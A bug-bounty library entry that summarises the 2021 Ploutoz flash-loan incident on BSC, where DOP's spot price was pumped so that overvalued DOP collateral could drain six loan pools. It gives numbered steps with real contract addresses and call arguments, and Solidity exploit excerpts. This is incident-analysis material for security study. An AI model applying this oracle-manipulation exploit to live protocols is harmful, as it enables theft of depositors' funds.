# Ploutoz: DOP price manipulation drains loan pools via flash loan

Attacker flash-loaned BUSD, pumped DOP price on Twindex/Pancake, then used overvalued DOP as collateral to borrow and drain six Ploutoz loan pools for ~365K.

- Payout: Real-world hack
- Severity: high
- Program: Ploutoz
- Analysis by: DeFiHackLabs
- Disclosed: 2021-11-23
- Write-up quality: 6/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-11/Ploutoz_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20211123-ploutoz
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm technique:chained vuln:business-logic vuln:flash-loan vuln:oracle-manipulation

**Target:** DeFi lending protocol loan pools (pCAKE, pDOLLY, pWETH, pBTCB, pUSDT, pBUSD) on BSC
**Root cause:** Loan collateral valuation relied on spot DOP price that attacker could manipulate via large swaps on Twindex and PancakeSwap, letting a small amount of overvalued DOP back oversized borrows.
**Steps:**
1. Flash-borrow 1,000,400 BUSD from PancakeSwap pair `0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16` via `swap(0, 1_000_400 ether, address(this), "X")`
2. In `pancakeCall`, swap 1,000,000 BUSD to DOP on TwindexSwapRouter and 400 BUSD to DOP on PancakeRouter to pump DOP price
3. Call `borrow` on each loan token (pCAKE, pDOLLY, pWETH, pBTCB, pUSDT, pBUSD) with DOP as collateral, e.g. `borrow(bytes32(0), 85 ether, 7200, 50 ether, DOP, address(this), address(this), "")`
4. Swap borrowed assets back to BUSD on PancakeRouter
5. Swap 570,625,638,619,593,832,545,805 DOP back to BUSD on TwindexSwapRouter
6. Repay flash loan with `IERC20(BUSD).transfer(PancakeSwap, 1_002_951.02 ether)` and keep profit
**Exploitation:** Flash loan supplied capital; two swaps inflated DOP spot price; overvalued DOP collateral unlocked borrows across six pools; borrowed tokens swapped to BUSD, DOP dumped back, flash loan repaid, ~365K profit retained.
**Escalation:** Single price pump reused as collateral across six separate loan pools to multiply drained value.
**Insight:** When a lending pool prices collateral from a thin DEX pair, check whether a single large swap can move that price enough to over-borrow across every pool accepting the same collateral token.

## Proof of concept (copied exactly from the original report)

**Flash loan then pump DOP price and borrow**

```
uint256 _amount0Out = 0;
        uint256 _amount1Out = 1_000_400.0 ether;
        IUniswapV2Pair(PancakeSwap).swap(_amount0Out, _amount1Out, address(this), "X");

        swapLoanedTokenToStables();
    }

    function swapLoanedTokenToStables() internal {
        swapLoanedTokenToStable(pCAKE);
        swapLoanedTokenToStable(pDOLLY);
        swapLoanedTokenToStable(pWETH);
        swapLoanedTokenToStable(pBTCB);
        swapLoanedTokenToStable(pUSDT);
    }

    function pancakeCall(address sender, uint256 amount0Out, uint256 amount1Out, bytes memory data) external {
        //Pump price of DOP in both pairs
        swapTokenToToken(BUSD, DOP, 1_000_000 ether, TwindexSwapRouter);
        swapTokenToToken(BUSD, DOP, 400 ether, PancakeRouter);
```

**Borrow multiple loans using overvalued DOP collateral**

```
function borrowMultipleLoans() internal {
        // CAKE loan
        borrowSingleLoan(pCAKE, 85 ether, 50 ether);

        // DOLLY loan
        borrowSingleLoan(pDOLLY, 18_000 ether, 500.0 ether);

        // WETH loan
        borrowSingleLoan(pWETH, 18 ether, 1900 ether);

        // BTCB loan
        borrowSingleLoan(pBTCB, 1.6 ether, 2000 ether);

        // USDT loan
        borrowSingleLoan(pUSDT, 89_000 ether, 2000 ether);

        // BUSD loan
        borrowSingleLoan(pBUSD, 90_000 ether, 2000 ether);
    }
```

**Borrow call with DOP collateral**

```
ILoanToken(token).borrow(
            bytes32(0), withdrawAmount, 7200, collateralTokenSent, DOP, address(this), address(this), ""
        );
```

